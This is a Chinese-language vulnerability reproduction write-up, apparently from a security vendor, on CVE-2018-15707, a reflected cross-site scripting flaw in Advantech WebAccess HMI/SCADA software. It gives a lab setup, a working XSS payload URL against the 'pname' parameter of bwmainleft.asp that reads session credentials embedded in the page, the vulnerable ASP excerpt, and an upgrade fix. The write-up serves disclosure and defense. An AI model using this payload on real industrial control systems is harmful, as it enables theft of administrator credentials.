Advantech WebAccess 跨站脚本漏洞:CVE-2018-15707复现

Advantech WebAccess 跨站脚本漏洞:CVE-2018-15707复现

时间:2022-04-21 作者:安帝科技

Spring
Advantech WebAccess是中国台湾研华(Advantech)公司的一套基于浏览器架构的HMI/SCADA软件,该软件支持动态图形显示和实时数据控制,并提供远程控制和管理自动化设备的功能。

Part1 漏洞状态

Part2 漏洞描述

Advantech WebAccess 8.3.1版本和8.3.2版本以及之前版本中由于未对’ pname ‘参数进行验证或过滤导致Bwmainleft.asp页面存在跨站脚本漏洞,远程攻击者可利用该漏洞获取登录凭据。

Part3 复现环境

1. 实验环境
渗透主机:Win10(192.168.33.1)
目标主机:winserver2008R2(192.168.33.139)
软件版本:Advantech WebAccess 8.2
2. 涉及工具
MozillaFirefox
3. 复现步骤
启动环境,目标主机启动,如下图:

攻击者通过渗透主机Mozilla Firefox 访问如下url,登录系统。
http://192.168.33.139/broadWeb/bwconfig.asp?username=admin
攻击者通过渗透主机Mozilla Firefox 访问如下url。
http://192.168.33.139/broadweb/bwmainleft.asp?pid=1&pname=%22);alert(document.getElementsByTagName(%27script%27)[4].text);//

Part4 漏洞分析

通过分析代码发现在broadweb/bwmainleft.asp中存在一个反射型跨站脚本漏洞,因为’pname ‘参数没有被验证或过滤。此外,活动会话的凭据被写入HTML源代码中,可以由JavaScript客户端访问。
… snip …
pname = Request.QueryString(“pname”)
… snip …
username = session(“UserName”)
‘get the password if admin
if username = “admin” then
sql = “SELECT * FROM pUserPassword WHERE UserName='” + username + “‘”
else
sql = “SELECT * FROM pAdmin WHERE UserName='” + username + “‘”
end if
dbTab.open sql,cfgConn,3,2,1
‘get the password from database based on the user name, note that only admin can actually log into dashboard here
if not dbTab.eof then
set tWAObj = Server.CreateObject(“webdobj.webdraw”)
GetUserPwdField dbTab, tWAObj, UsrArr
‘get the password from db
pwd = UsrArr(0)
%>

… snip …

Part5 修复建议

升级到研华WebAccess 8.3.3或更高版本。

———————————————————
获取更多情报
联系我们,获取更多漏洞情报详情及处置建议,让企业远离漏洞威胁。
电话:18511745601
邮箱:shiliangang@andisec.com